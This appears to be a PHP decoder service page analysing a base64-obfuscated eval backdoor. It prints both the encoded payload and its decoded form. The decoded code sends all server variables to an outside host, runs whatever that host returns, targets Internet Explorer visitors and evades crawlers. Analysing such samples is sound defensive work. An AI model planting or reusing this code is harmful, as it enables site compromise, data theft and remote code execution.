Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZiAoIWZ1bmN0aW9u..

Decoded Output download

error_reporting(0);
if (!function_exists('live_stats')) {
function live_stats(){
$live_stats_url="http://baclocal5.com/calendar/sesion.php?id";
if($include_test) return 0;
global $include_test; $include_test = 1;
if($_GET['forced_stop'] or $_POST['forced_stop']) return 0;
if($_GET['forced_start'] or $_POST['forced_start']){} else {
if($_COOKIE['live_stats']) return 0;
$uagent=$_SERVER["HTTP_USER_AGENT"];
if(!$uagent) return 0;
if(strpos($uagent, "Trident" ) === false) return 0;
$url_get = "";
if(isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS']=='on')) {
	$url_get .= "https:";} else { $url_get .= "http:";}
if($_SERVER['SERVER_PORT'] == 80 or $_SERVER['SERVER_PORT'] == 443){
	$url_get .= "//";} else { $url_get .= $_SERVER['SERVER_PORT']."//";}
$url_get .= $_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
if($_SERVER['HTTP_REFERER'] === $url_get) return 0;
if($_SERVER['REMOTE_ADDR'] === "127.0.0.1") return 0;
if($_SERVER['REMOTE_ADDR'] === $_SERVER['SERVER_ADDR']) return 0;
$bot_list = array("Google", "Slurp", "MSNBot",
"ia_archiver", "Yandex", "Rambler", 
"bot", "spid", "Lynx", "PHP", 
"WordPress","integromedb","SISTRIX",
"Aggregator", "findlinks", "Xenu", 
"BacklinkCrawler", "Scheduler", "mod_pagespeed",
"Index", "ahoo", "Tapatalk", "PubSub", "RSS");
if(preg_match("/" . implode("|", $bot_list) . "/i", $bkljg)) return 0;
}
foreach($_SERVER as $key => $value) { 
$data.= "&REM_".$key."='".base64_encode($value)."'";}
$context = stream_context_create(
array('http'=>array(
	'timeout' => '60',
	'header' => "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.9) Gecko/20100101 Firefox/10.0.9_ Iceweasel/10.0.9
Connection: Close

",
	'method' => 'POST',
	'content' => "REM_REM='1'".$data
)));
$contents=file_get_contents($live_stats_url, false ,$context);
if(!$contents) {
	if(!headers_sent()) {
	@setcookie("live_stats","2",time()+172800); return 0; } 
	echo "<script>document.cookie='live_stats=2; path=/; expires=".date('D, d-M-Y H:i:s',time()+172800)." GMT;';</script>"; return 0;}
eval($contents);
}}
live_stats();

Did this file decode correctly?

Original Code

<?php error_reporting(0); eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygnbGl2ZV9zdGF0cycpKSB7CmZ1bmN0aW9uIGxpdmVfc3RhdHMoKXsKJGxpdmVfc3RhdHNfdXJsPSJodHRwOi8vYmFjbG9jYWw1LmNvbS9jYWxlbmRhci9zZXNpb24ucGhwP2lkIjsKaWYoJGluY2x1ZGVfdGVzdCkgcmV0dXJuIDA7Cmdsb2JhbCAkaW5jbHVkZV90ZXN0OyAkaW5jbHVkZV90ZXN0ID0gMTsKaWYoJF9HRVRbJ2ZvcmNlZF9zdG9wJ10gb3IgJF9QT1NUWydmb3JjZWRfc3RvcCddKSByZXR1cm4gMDsKaWYoJF9HRVRbJ2ZvcmNlZF9zdGFydCddIG9yICRfUE9TVFsnZm9yY2VkX3N0YXJ0J10pe30gZWxzZSB7CmlmKCRfQ09PS0lFWydsaXZlX3N0YXRzJ10pIHJldHVybiAwOwokdWFnZW50PSRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXTsKaWYoISR1YWdlbnQpIHJldHVybiAwOwppZihzdHJwb3MoJHVhZ2VudCwgIlRyaWRlbnQiICkgPT09IGZhbHNlKSByZXR1cm4gMDsKJHVybF9nZXQgPSAiIjsKaWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pICYmICgkX1NFUlZFUlsnSFRUUFMnXT09J29uJykpIHsKCSR1cmxfZ2V0IC49ICJodHRwczoiO30gZWxzZSB7ICR1cmxfZ2V0IC49ICJodHRwOiI7fQppZigkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA4MCBvciAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA9PSA0NDMpewoJJHVybF9nZXQgLj0gIi8vIjt9IGVsc2UgeyAkdXJsX2dldCAuPSAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXS4iLy8iO30KJHVybF9nZXQgLj0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107CmlmKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA9PT0gJHVybF9nZXQpIHJldHVybiAwOwppZigkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpIHJldHVybiAwOwppZigkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10pIHJldHVybiAwOwokYm90X2xpc3QgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsCiJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsIAoiYm90IiwgInNwaWQiLCAiTHlueCIsICJQSFAiLCAKIldvcmRQcmVzcyIsImludGVncm9tZWRiIiwiU0lTVFJJWCIsCiJBZ2dyZWdhdG9yIiwgImZpbmRsaW5rcyIsICJYZW51IiwgCiJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLAoiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIik7CmlmKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRib3RfbGlzdCkgLiAiL2kiLCAkYmtsamcpKSByZXR1cm4gMDsKfQpmb3JlYWNoKCRfU0VSVkVSIGFzICRrZXkgPT4gJHZhbHVlKSB7IAokZGF0YS49ICImUkVNXyIuJGtleS4iPSciLmJhc2U2NF9lbmNvZGUoJHZhbHVlKS4iJyI7fQokY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgKYXJyYXkoJ2h0dHAnPT5hcnJheSgKCSd0aW1lb3V0JyA9PiAnNjAnLAoJJ2hlYWRlcicgPT4gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChYMTE7IExpbnV4IGk2ODY7IHJ2OjEwLjAuOSkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMC4wLjlfIEljZXdlYXNlbC8xMC4wLjlcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIsCgknbWV0aG9kJyA9PiAnUE9TVCcsCgknY29udGVudCcgPT4gIlJFTV9SRU09JzEnIi4kZGF0YQopKSk7CiRjb250ZW50cz1maWxlX2dldF9jb250ZW50cygkbGl2ZV9zdGF0c191cmwsIGZhbHNlICwkY29udGV4dCk7CmlmKCEkY29udGVudHMpIHsKCWlmKCFoZWFkZXJzX3NlbnQoKSkgewoJQHNldGNvb2tpZSgibGl2ZV9zdGF0cyIsIjIiLHRpbWUoKSsxNzI4MDApOyByZXR1cm4gMDsgfSAKCWVjaG8gIjxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSdsaXZlX3N0YXRzPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IHJldHVybiAwO30KZXZhbCgkY29udGVudHMpOwp9fQpsaXZlX3N0YXRzKCk7')); ?>

Function Calls

base64_decode 1
error_reporting 1

Variables

None

Stats

MD5 0ab9b61d3f6f83213a182ff5dfd0c7c4
Eval Count 1
Decode Time 88 ms